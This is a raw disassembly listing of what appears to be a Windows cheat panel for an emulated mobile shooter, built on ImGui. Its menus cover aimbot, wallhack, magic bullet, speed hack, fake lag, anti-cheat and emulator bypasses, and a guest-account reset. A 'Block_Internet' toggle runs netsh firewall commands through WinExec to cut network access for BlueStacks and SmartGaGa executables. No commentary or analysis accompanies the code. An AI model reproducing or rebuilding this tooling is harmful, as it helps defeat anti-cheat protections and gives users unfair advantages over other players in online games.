movss xmm1, dword [0x140123b0c]
movss dword [rbp + 0x71c], xmm1
movss xmm0, dword [0x140123b10]
movss dword [rbp + 0x720], xmm0
movss xmm1, dword [0x140123b14]
mulss xmm1, dword [rcx + 0x37c8]
movss dword [rbp + 0x724], xmm1
addss xmm6, dword [0x140122c2c]
movss dword [rbp + 0x340], xmm6
movss dword [rbp + 0x344], xmm11
addss xmm9, dword [0x140122c2c]
movss dword [rbp + 0x348], xmm9
movss dword [rbp + 0x34c], xmm10
lea rcx, [rbp + 0x718]
call fcn.1400049e0
mov r9d, eax
movss dword [rsp + 0x38], xmm7
mov dword [rsp + Ordinal_50], 0x30
lea rax, [rbp + 0x338]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm7
lea r8, [rbp + 0x340]
lea rdx, [rbp + 0x348]
mov rcx, r10
call fcn.14002e920
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400e9d4c]
addss xmm1, dword [0x1400e9c64]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
call fcn.140017760
cmp dword [0x140122c38], 0
sete r9b
mov dword [rbp + 0x350], 0x42be0000
mov dword [rbp + 0x354], 0x42200000
lea r8, [rbp + 0x350]
mov rdx, qword [0x140123490]
lea rcx, str.General
call fcn.14003bac0
test al, al
je 0x14005d9f3
mov edx, esi
mov dword [0x140122c38], edx
jmp 0x14005d9f9
mov dword [0x1400fcb14], 0x5a
jmp 0x14005d668
mov edx, dword [0x140122c38]
movss xmm8, dword [0x1400e9df4]
movaps xmm1, xmm8
xorps xmm10, xmm10
xorps xmm0, xmm0
call fcn.140017460
cmp edx, 1
sete r9b
mov dword [rbp + 0x518], 0x42be0000
mov dword [rbp + 0x51c], 0x42200000
lea r8, [rbp + 0x518]
mov rdx, qword [0x1401234a0]
lea rcx, str.Aimbot
call fcn.14003bac0
test al, al
je 0x14005da58
mov edx, 1
mov dword [0x140122c38], edx
jmp 0x14005da5e
mov edx, dword [0x140122c38]
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140017460
cmp edx, 2
sete r9b
mov dword [rbp + 0x360], 0x42aa0000
mov dword [rbp + 0x364], 0x42200000
lea r8, [rbp + 0x360]
mov rdx, qword [0x1401234b0]
lea rcx, str.Visuals
call fcn.14003bac0
test al, al
je 0x14005dab0
mov edx, 2
mov dword [0x140122c38], edx
jmp 0x14005dab6
mov edx, dword [0x140122c38]
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140017460
cmp edx, 3
sete r9b
mov dword [rbp + 0x368], 0x42b40000
mov dword [rbp + 0x36c], 0x42200000
lea r8, [rbp + 0x368]
mov rdx, qword [0x1401234d0]
lea rcx, str.Security
call fcn.14003bac0
test al, al
je 0x14005db08
mov edx, 3
mov dword [0x140122c38], edx
jmp 0x14005db0e
mov edx, dword [0x140122c38]
movaps xmm1, xmm8
xorps xmm0, xmm0
call fcn.140017460
cmp edx, 3
sete r9b
mov dword [rbp + 0x370], 0x42b40000
mov dword [rbp + 0x374], 0x42200000
lea r8, [rbp + 0x370]
mov rdx, qword [0x140123460]
lea rcx, str.Misc
call fcn.14003bac0
test al, al
je 0x14005db5d
mov dword [0x140122c38], 4
call fcn.1400178b0
call fcn.14000c5e0
mov rcx, qword [0x140122bc0]
test rcx, rcx
jne 0x14005db94
mov r8d, 0x10ae
lea rdx, str.D:DelX_Projectimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x140122bc0]
movss xmm2, dword [rcx + 0x18]
movss xmm11, dword [0x1400e9c74]
mulss xmm2, xmm11
mov eax, dword [0x140122c38]
cmp eax, dword [0x140122c34]
jne 0x14005dbbf
movss xmm1, dword [0x1400e9be4]
jmp 0x14005dbc2
xorps xmm1, xmm1
movss xmm0, dword [0x140122c30]
subss xmm1, xmm0
mulss xmm1, xmm2
addss xmm0, xmm1
movss dword [0x140122c30], xmm0
movss xmm1, dword [0x1400e9b6c]
comiss xmm1, xmm0
jbe 0x14005dbfa
comiss xmm1, dword [0x140122c3c]
jbe 0x14005dbfa
mov dword [0x140122c34], eax
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm7
addss xmm1, dword [0x1400e9cfc]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x378], 0x44354000
mov dword [rbp + 0x37c], 0x43dc0000
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
lea rdx, str.Main
mov rcx, qword [rcx + 0x3f08]
call fcn.140007fa0
mov edx, eax
mov dword [rsp + 0x20], 0x80
lea r8, [rbp + 0x378]
lea rcx, str.Main
call fcn.14000c380
call fcn.140056b50
call fcn.1400571e0
movss xmm6, dword [0x140122c30]
movaps xmm0, xmm6
movss xmm9, dword [0x1400e9d10]
mulss xmm0, xmm9
movaps xmm2, xmm9
subss xmm2, xmm0
mov rbx, qword [0x140122bc0]
mov rax, qword [rbx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rbx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm10
addss xmm2, xmm1
unpcklps xmm0, xmm2
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mulss xmm6, dword [r13]
movss xmm0, dword [rbx + 0x37c8]
mov dword [rbp + 0x8f0], esi
movss dword [rbp + 0x8f4], xmm0
lea rcx, [rbx + 0x4870]
lea rdx, [rbp + 0x8f0]
call fcn.140020520
movss dword [rbx + 0x37c8], xmm6
lea rdi, str.Undetect
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [str.Undetect]
movups xmm0, xmmword [0x140123b08]
movups xmmword [rbp + 0xec8], xmm0
lea rcx, [rbp + 0xec8]
call fcn.1400049e0
mov r14d, eax
movss xmm0, dword [rbp + 0x380]
addss xmm0, xmm7
movss dword [rbp + 0x388], xmm0
movss xmm1, dword [rbp + 0x384]
addss xmm1, dword [0x1400e9dac]
movss dword [rbp + 0x38c], xmm1
mov rsi, qword [0x140122c68]
test eax, 0xff000000
je 0x14005de5e
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rdi + rbx], 0
jne 0x14005ddc5
add rbx, rdi
cmp rdi, rbx
je 0x14005de5e
test rsi, rsi
jne 0x14005dde7
mov rax, qword [r15 + 0x38]
mov rsi, qword [rax + 8]
mov rcx, qword [rsi + 0x40]
mov rax, qword [r15 + 0x98]
cmp qword [rcx + 8], rax
je 0x14005de12
mov r8d, 0x6bc
lea rdx, str.D:DelX_Projectimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [r15 + 0x88]
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm10
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
lea r9, [rbp + 0x388]
movss xmm2, dword [0x1400e9c8c]
mov rdx, r15
mov rcx, rsi
call fcn.1400362d0
mov eax, dword [0x140122c34]
test eax, eax
jne 0x14005e296
call fcn.140017760
mov dword [rbp + 0x390], 0x43980000
mov dword [rbp + 0x394], 0x43700000
lea r8, [rbp + 0x390]
lea rdx, str.Sniper_Menu
mov rcx, qword [0x140123490]
call fcn.14000ceb0
lea rdx, [0x140122bf6]
lea rcx, str.Scope_Sniper
call fcn.14003c130
test al, al
je 0x14005dee7
cmp byte [0x140122bf6], 1
jne 0x14005dee7
lea rdx, [0x140055910]
lea rcx, [rbp + 0xed8]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xee0], 0
jne 0x14006039f
lea rdx, [0x140122c7a]
lea rcx, str.Aim_Awm
call fcn.14003c130
test al, al
je 0x14005df2f
cmp byte [0x140122c7a], 1
jne 0x14005df2f
lea rdx, [0x140055360]
lea rcx, [rbp + 0xee8]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xef0], 0
jne 0x14006039f
lea rdx, [0x140122c4c]
lea rcx, str.Awm_Delay
call fcn.14003c130
test al, al
je 0x14005df77
cmp byte [0x140122c4c], 1
jne 0x14005df77
lea rdx, [0x1400550a0]
lea rcx, [rbp + 0xef8]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xf00], 0
jne 0x14006039f
lea rdx, [0x140122c67]
lea rcx, str.Fast_Switch
call fcn.14003c130
test al, al
je 0x14005dfbf
cmp byte [0x140122c67], 1
jne 0x14005dfbf
lea rdx, [0x1400557f0]
lea rcx, [rbp + 0xf08]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xf10], 0
jne 0x14006039f
lea rdx, [0x140122c65]
lea rcx, str.Fast_Reload
call fcn.14003c130
test al, al
je 0x14005e02c
cmp byte [0x140122c65], 1
jne 0x14005e02c
lea rdx, [0x140055760]
lea rcx, [rbp + 0xf18]
call fcn.1400626f0
mov rbx, rax
cmp dword [rax + 8], 0
je 0x1400606ca
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400606ca
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rbp + 0xf20], eax
jne 0x14006039f
call fcn.14000cfc0
mov dword [rbp + 0x398], 0x43980000
mov dword [rbp + 0x39c], 0x43020000
lea r8, [rbp + 0x398]
lea rdx, str.Exploit_Menu
mov rcx, qword [0x140123490]
call fcn.14000ceb0
mov byte [rsp + 0x20], 1
lea r9, [0x140122c08]
lea r8, [0x140122c20]
lea rdx, str.WallHack_V3
mov rcx, qword [0x140123498]
call fcn.14003d440
mov byte [rsp + 0x20], 1
lea r9, [0x140122c00]
lea r8, [0x140122c04]
lea rdx, str.Fake_Lag
mov rcx, qword [0x140123498]
call fcn.14003d440
call fcn.14000cfc0
call fcn.1400178b0
movaps xmm1, xmm7
movaps xmm0, xmm10
call fcn.140017460
call fcn.140017760
mov dword [rbp + 0x3a0], 0x43980000
mov dword [rbp + 0x3a4], 0x43020000
lea r8, [rbp + 0x3a0]
lea rdx, str.Magic_Menu
mov rcx, qword [0x140123490]
call fcn.14000ceb0
lea rdx, [0x140122c78]
lea rcx, str.Magic_Bullet_V1
call fcn.14003c130
test al, al
je 0x14005e13c
cmp byte [0x140122c78], 1
jne 0x14005e13c
lea rdx, [0x1400554d0]
lea rcx, [rbp + 0xbe8]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xbf0], 0
jne 0x14006039f
lea rdx, [0x140122c60]
lea rcx, str.Magic_Bullet_V2
call fcn.14003c130
test al, al
je 0x14005e184
cmp byte [0x140122c60], 1
jne 0x14005e184
lea rdx, [0x140055640]
lea rcx, [rbp + 0xbf8]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xc00], 0
jne 0x14006039f
call fcn.14000cfc0
mov dword [rbp + 0x3a8], 0x43980000
mov dword [rbp + 0x3ac], 0x43200000
lea r8, [rbp + 0x3a8]
lea rdx, str.Rage_Menu
mov rcx, qword [0x140123490]
call fcn.14000ceb0
lea rdx, [0x140122c61]
lea rcx, str.Macros
call fcn.14003c130
test al, al
je 0x14005e1ff
cmp byte [0x140122c61], 1
jne 0x14005e1ff
lea rdx, [0x140055880]
lea rcx, [rbp + 0xc08]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xc10], 0
jne 0x14006039f
lea rdx, [0x140122bef]
lea rcx, str.Speed_Hack_10x
call fcn.14003c130
test al, al
je 0x14005e247
cmp byte [0x140122bef], 1
jne 0x14005e247
lea rdx, [0x1400559a0]
lea rcx, [rbp + 0xc18]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xc20], 0
jne 0x14006039f
lea rdx, [0x140122bee]
lea rcx, str.Speed_Hack_New
call fcn.14003c130
test al, al
je 0x14005e4cf
cmp byte [0x140122bee], 1
jne 0x14005e4cf
lea rdx, [0x140055b10]
lea rcx, [rbp + 0xc28]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xc30], 0
jmp 0x14005e4c9
cmp eax, 1
jne 0x14005e4df
call fcn.140017760
mov dword [rbp + 0x3b0], 0x43980000
mov dword [rbp + 0x3b4], 0x430c0000
lea r8, [rbp + 0x3b0]
lea rdx, str.KeyBind
mov rcx, qword [0x1401234a0]
call fcn.14000ceb0
mov byte [rsp + 0x20], 1
lea r9, [0x140122c28]
lea r8, [0x140122c24]
lea rdx, str.Aimbot_HeadShot
mov rcx, qword [0x140123498]
call fcn.14003d440
mov byte [rsp + 0x20], 1
lea r9, [0x140122c18]
lea r8, [0x140122c14]
lea rdx, str.Aimbot_Drag
mov rcx, qword [0x140123498]
call fcn.14003d440
call fcn.14000cfc0
call fcn.1400178b0
mov ecx, dword [0x140122c24]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005e370
mov edx, 0x2bc
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, [0x140055ca0]
lea rcx, [rbp + 0xc38]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xc40], 0
jne 0x14006039f
mov ecx, dword [0x140122c14]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005e3b8
mov edx, 0x2bc
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, [0x140055d20]
lea rcx, [rbp + 0xde8]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xdf0], 0
jne 0x14006039f
movaps xmm1, xmm7
movaps xmm0, xmm10
call fcn.140017460
call fcn.140017760
mov dword [rbp + 0x3b8], 0x43980000
mov dword [rbp + 0x3bc], 0x43340000
lea r8, [rbp + 0x3b8]
lea rdx, str.Aimbot
mov rcx, qword [0x1401234a0]
call fcn.14000ceb0
lea rdx, [0x140122bf0]
lea rcx, str.Aim_Scope_2x
call fcn.14003c130
test al, al
je 0x14005e43f
cmp byte [0x140122bf0], 1
jne 0x14005e43f
lea rdx, [0x1400556d0]
lea rcx, [rbp + 0xc48]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xc50], 0
jne 0x14006039f
lea rdx, [0x140122c13]
lea rcx, str.Aim_Scope_4x
call fcn.14003c130
test al, al
je 0x14005e487
cmp byte [0x140122c13], 1
jne 0x14005e487
lea rdx, [0x1400556d0]
lea rcx, [rbp + 0xc58]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xc60], 0
jne 0x14006039f
lea rdx, [0x140122bed]
lea rcx, str.Scope_Tracking
call fcn.14003c130
test al, al
je 0x14005e4cf
cmp byte [0x140122bed], 1
jne 0x14005e4cf
lea rdx, [0x140055200]
lea rcx, [rbp + 0xc68]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xc70], 0
jne 0x14006039f
call fcn.14000cfc0
call fcn.1400178b0
mov eax, dword [0x140122c34]
cmp eax, 3
jne 0x14005e749
call fcn.140017760
mov dword [rbp + 0x3c0], 0x43980000
mov dword [rbp + 0x3c4], 0x430c0000
lea r8, [rbp + 0x3c0]
lea rdx, str.Security_Menu
mov rcx, qword [0x1401234d0]
call fcn.14000ceb0
lea rdx, [0x140122c63]
lea rcx, str.AntiCheat
call fcn.14003c130
test al, al
je 0x14005e563
cmp byte [0x140122c63], 1
jne 0x14005e563
lea rdx, [0x140055da0]
lea rcx, [rbp + 0xc78]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xc80], 0
jne 0x14006039f
lea rdx, [0x140122c79]
lea rcx, str.Block_Internet
call fcn.14003c130
mov byte [0x140122bf7], al
call fcn.14000cfc0
call fcn.1400178b0
movaps xmm1, xmm7
movaps xmm0, xmm10
call fcn.140017460
call fcn.140017760
mov dword [rbp + 0x3c8], 0x43980000
mov dword [rbp + 0x3cc], 0x43480000
lea r8, [rbp + 0x3c8]
lea rdx, str.Bypass_Menu
mov rcx, qword [0x1401234d0]
call fcn.14000ceb0
lea rdx, [0x140122bbc]
lea rcx, str.Bypass_Speed_Hack
call fcn.14003c130
test al, al
je 0x14005e60d
cmp byte [0x140122bbc], 1
jne 0x14005e60d
lea rdx, [0x140055e30]
lea rcx, [rbp + 0xd50]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xd58], 0
jne 0x14006039f
lea rdx, [0x140122c7b]
lea rcx, str.Bypass_WallHack
call fcn.14003c130
test al, al
je 0x14005e6a9
cmp byte [0x140122c7b], 1
jne 0x14005e6a9
lea rdx, [0x140055fb0]
lea rcx, [rbp + 0x130]
call fcn.1400644d0
lea rax, [rbp + 0x820]
mov qword [rsp + 0x28], rax
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov r9, qword [rbp + 0x130]
lea r8, [0x140064500]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x818], rax
test rax, rax
je 0x14006038d
mov qword [rbp + 0x130], rbx
lea rcx, [rbp + 0x130]
call fcn.1400643b0
lea rcx, [rbp + 0x818]
call fcn.140052670
cmp dword [rbp + 0x820], ebx
jne 0x14006039f
lea rdx, [0x140122c4e]
lea rcx, str.Bypass_Camera_V1
call fcn.14003c130
test al, al
je 0x14005e6f1
cmp byte [0x140122c4e], 1
jne 0x14005e6f1
lea rdx, [0x140056130]
lea rcx, [rbp + 0xc88]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xc90], 0
jne 0x14006039f
lea rdx, [0x140122bf1]
lea rcx, str.Bypass_Emulator
call fcn.14003c130
test al, al
je 0x14005e739
cmp byte [0x140122bf1], 1
jne 0x14005e739
lea rdx, [0x1400566d0]
lea rcx, [rbp + 0xc98]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xca0], 0
jne 0x14006039f
call fcn.14000cfc0
call fcn.1400178b0
mov eax, dword [0x140122c34]
cmp byte [0x140122bf7], 0
je 0x14005e86e
xor edx, edx
cmp byte [0x140122c79], dl
je 0x14005e810
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
jmp 0x14005e860
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [0x140122c34]
cmp eax, 4
jne 0x14005e96a
call fcn.140017760
mov dword [rbp + 0x3d0], 0x43980000
mov dword [rbp + 0x3d4], 0x430c0000
lea r8, [rbp + 0x3d0]
lea rdx, str.Panel_Settings
mov rcx, qword [0x1401234d0]
call fcn.14000ceb0
mov rcx, qword [0x140122bc0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400e9c24]
addss xmm1, dword [0x1400e9cd8]
unpcklps xmm0, xmm1
movsd qword [rax + 0x100], xmm0
mov byte [rax + 0x141], 1
mov r8d, 0x30120
lea rdx, [0x140123b08]
lea rcx, str.Accent_Color
call fcn.1400456e0
lea rdx, [0x140122bf5]
lea rcx, str.Reset_Guest
call fcn.14003c130
test al, al
je 0x14005ee5d
cmp byte [0x140122bf5], 1
jne 0x14005ee5d
lea rdx, [0x140056290]
lea rcx, [rbp + 0xca8]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xcb0], 0
jmp 0x14005ee57
cmp eax, 2
jne 0x14005ee67
call fcn.140017760
mov dword [rbp + 0x3d8], 0x43980000
mov dword [rbp + 0x3dc], 0x43480000
lea r8, [rbp + 0x3d8]
lea rdx, str.Chams
mov rcx, qword [0x1401234b0]
call fcn.14000ceb0
lea rdx, [0x140122bbd]
lea rcx, str.Chams_Menu
call fcn.14003c130
test al, al
je 0x14005e9f9
cmp byte [0x140122bbd], 1
jne 0x14005e9f9
mov rbx, qword [rbp - 0x10]
mov rdx, rbx
call fcn.140057330
test al, al
jne 0x14005e9de
mov rdx, rbx
call fcn.140057330
lea rbx, [rbp + 0x218]
mov rdx, rbx
call fcn.140057330
test al, al
jne 0x14005e9f9
mov rdx, rbx
call fcn.140057330
lea rdx, [0x140122bf2]
lea rcx, str.RGB_Chams
call fcn.14003c130
test al, al
je 0x14005ea5f
cmp byte [0x140122bf2], 1
jne 0x14005ea5f
mov rbx, qword [rbp - 0x70]
mov rdx, rbx
call fcn.140057330
test al, al
je 0x14005ea57
lea r9, str.RGB_Chams_successfully.
mov edi, 1
mov r8d, 0x5dc
mov edx, edi
lea rcx, [rbp + 0x1660]
call fcn.140054f30
lea rcx, [rbp + 0x1660]
call fcn.140055010
jmp 0x14005ea64
mov rdx, rbx
call fcn.140057330
mov edi, 1
lea rdx, [0x140122bec]
lea rcx, str.Chams_3D
call fcn.14003c130
test al, al
je 0x14005eac5
cmp byte [0x140122bec], 1
jne 0x14005eac5
mov rbx, qword [rbp - 0x50]
mov rdx, rbx
call fcn.140057330
test al, al
je 0x14005eabd
lea r9, str.Chams_3D_successfully.
mov r8d, 0x5dc
mov edx, edi
lea rcx, [rbp + 0x3670]
call fcn.140054f30
lea rcx, [rbp + 0x3670]
call fcn.140055010
jmp 0x14005eac5
mov rdx, rbx
call fcn.140057330
lea rdx, [0x140122bf4]
lea rcx, str.Chams_RGB_BOX
call fcn.14003c130
test al, al
je 0x14005eb26
cmp byte [0x140122bf4], 1
jne 0x14005eb26
mov rbx, qword [rbp - 0x30]
mov rdx, rbx
call fcn.140057330
test al, al
je 0x14005eb1e
lea r9, str.Chams_RGB_BOX_successfully.
mov r8d, 0x5dc
mov edx, edi
lea rcx, [rbp + 0x5680]
call fcn.140054f30
lea rcx, [rbp + 0x5680]
call fcn.140055010
jmp 0x14005eb26
mov rdx, rbx
call fcn.140057330
call fcn.14000cfc0
mov dword [rbp + 0x3e0], 0x43980000
mov dword [rbp + 0x3e4], 0x43020000
lea r8, [rbp + 0x3e0]
lea rdx, str.Visual
mov rcx, qword [0x1401234b0]
call fcn.14000ceb0
lea rdx, [0x140122c66]
lea rcx, str.Nigth_Sky
call fcn.14003c130
test al, al
je 0x14005eba1
cmp byte [0x140122c66], 1
jne 0x14005eba1
lea rdx, [0x1400563f0]
lea rcx, [rbp + 0xcb8]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xcc0], 0
jne 0x14006039f
lea rdx, [0x140122bb9]
lea rcx, str.Vision_Hack
call fcn.14003c130
test al, al
je 0x14005ebe9
cmp byte [0x140122bb9], 1
jne 0x14005ebe9
lea rdx, [0x140056580]
lea rcx, [rbp + 0xcc8]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xcd0], 0
jne 0x14006039f
call fcn.14000cfc0
call fcn.1400178b0
movaps xmm1, xmm7
movaps xmm0, xmm10
call fcn.140017460
call fcn.140017760
mov dword [rbp + 0x3e8], 0x43980000
mov dword [rbp + 0x3ec], 0x43660000
lea r8, [rbp + 0x3e8]
lea rdx, str.Aim_Color
mov rcx, qword [0x1401234b0]
call fcn.14000ceb0
lea rdx, [0x140122bbe]
lea rcx, str.Blue_HD
call fcn.14003c130
test al, al
je 0x14005ec7a
cmp byte [0x140122bbe], 1
jne 0x14005ec7a
lea rdx, [0x140056910]
lea rcx, [rbp + 0xcd8]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xce0], 0
jne 0x14006039f
lea rdx, [0x140122c4d]
lea rcx, str.Green_HD
call fcn.14003c130
test al, al
je 0x14005ecc2
cmp byte [0x140122c4d], 1
jne 0x14005ecc2
lea rdx, [0x140056880]
lea rcx, [rbp + 0xce8]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xcf0], 0
jne 0x14006039f
lea rdx, [0x140122bbf]
lea rcx, str.Yellow_HD
call fcn.14003c130
test al, al
je 0x14005ed0a
cmp byte [0x140122bbf], 1
jne 0x14005ed0a
lea rdx, [0x140056ac0]
lea rcx, [rbp + 0xcf8]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xd00], 0
jne 0x14006039f
lea rdx, [0x140122c7c]
lea rcx, str.Pink_HD
call fcn.14003c130
test al, al
je 0x14005ed52
cmp byte [0x140122c7c], 1
jne 0x14005ed52
lea rdx, [0x140056a30]
lea rcx, [rbp + 0xd08]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xd10], 0
jne 0x14006039f
lea rdx, [0x140122c4f]
lea rcx, str.Orange_HD
call fcn.14003c130
test al, al
je 0x14005ed9a
cmp byte [0x140122c4f], 1
jne 0x14005ed9a
lea rdx, [0x1400569a0]
lea rcx, [rbp + 0xd18]
call fcn.1400626f0
mov rcx, rax
call fcn.140052670
cmp dword [rbp + 0xd20], 0
jne 0x14006039f
call fcn.14000cfc0
mov dword [rbp + 0x3f0], 0x43980000
